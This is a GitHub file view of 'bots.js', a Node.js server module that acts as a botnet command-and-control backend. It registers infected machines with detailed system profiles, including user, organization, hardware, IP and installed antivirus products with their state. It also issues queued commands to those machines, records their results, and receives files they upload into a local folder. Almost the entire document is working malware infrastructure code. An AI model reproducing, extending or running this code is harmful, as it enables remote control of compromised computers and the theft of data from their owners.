-
Notifications
You must be signed in to change notification settings - Fork 31
Expand file tree
/
Copy pathbots.js
More file actions
148 lines (142 loc) · 4.54 KB
/
bots.js
File metadata and controls
148 lines (142 loc) · 4.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
const
db = require('./database.js'),
chalk = require('chalk');
const
error = chalk.redBright('ERROR'),
warning = chalk.keyword('orange')('WARN'),
info = chalk.cyan('INFO');
function parseAV(names, states){
var tmp = [];
if(names.length == 1)
if(names[0] == undefined) return null;
for(var i = 0; i<names.length; i++){
tmp.push({
$: {state: states[i]},
_: names[i]
});
}
return tmp.length>0 ? tmp : null;
}
exports.getCommands = function(req, res){
if(db.isBlacklisted(req.get('User'))){
res.send(db.builder.buildObject({
commands: {}
}));
//console.log(warning, req.get('User'), 'was denied commands.');
return;
}
let bot = db.findBot(req.get('User'));
db.updateLastSeen(req.get('User'));
let cmds = {};
if(bot){
cmds = bot.commands;
} else {
cmds = {cmd:[{$:{id:0,type:'Register'}}]};
}
res.send(db.builder.buildObject({
commands: cmds
}));
};
exports.postResults = function(req, res){
if(db.isBlacklisted(req.get('User'))){
res.send('Thanks.');
//console.log(warning, req.get('User'), 'was denied results.');
return;
}
if(req.body.CommandID == 0){
if(!Array.isArray(req.body.displayName)){
req.body.displayName = [req.body.displayName];
req.body.productState = [req.body.productState];
}
let av = parseAV(req.body.displayName, req.body.productState);
let newBot = {
id: req.get('User'),
name: req.get('Name'),
ip: req.body.IP,
system: {
name: req.body.CSName,
user: req.body.RegisteredUser,
org: req.body.Organization,
os: {
name: req.body.Caption,
bit: req.body.OSArchitecture,
install: req.body.InstallDate
},
ram: req.body.TotalVisibleMemorySize,
cpu: {
name: req.body.Name?.[1],
cores: req.body.NumberOfCores
},
gpu: req.body.Name?.[0]
},
defense: av ? {av} : {},
commands: {},
log: {},
last: Date.now()
};
db.addBot(newBot);
console.log(info, chalk.green('New bot --> '+req.get('Name')));
} else if (req.body.Result == 'Uninstall initiated.') {
if(db.deleteBot(req.get('User'))){
console.log(info, chalk.redBright('Uninstall --> '+req.get('Name')));
}
} else {
let bot = db.findBot(req.get('User'));
if(bot){
let c = db.findCommandIndex(bot, req.body.CommandID);
if(c>-1){
if(req.body.Result)
db.addLog(bot, req.body.CommandID, req.body.Result);
if(req.body.Last == 'True'){
db.removeCommand(bot, c);
console.log(info, req.get('Name'), ' --> Result');
} else console.log(info, req.get('Name'), ' --> Log');
}
}
}
res.send('Thanks.');
};
exports.uploadFile = function(req, res){
if(req.files){
if(req.files.file){
let tmp = req.files.file;
let name = req.files.file.name;
if(req.body.CommandID){
name = req.body.CommandID + '_' + name;
}
tmp.mv('Files\\' + name, function(e){
if(e) console.log(warning, 'File upload of', name, 'failed.\n\t', e);
});
res.send('Thanks for the file.');
} else {
res.send('Invalid file.');
}
} else {
res.send('Invalid file.');
}
};
exports.getBots = function(req, res){
if(!req.session.user){
res.status(401).send('You are not logged in.');
let ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress;
console.log(warning, ip, 'attempted to get the list of bots without logging in.');
} else {
let tmp = Object.keys(db.List).reduce((object, key) => {
if (!['commands', 'log'].includes(key)) {
object[key] = db.List[key]
}
return object
}, {});
let tmp1 = {
uptime: db.uptime(),
users: db.getUserCount(),
active: {a: db.Stats}
}
res.send(db.builder.buildObject({
root: {
bots: tmp,
stats: tmp1
}
}));
}
}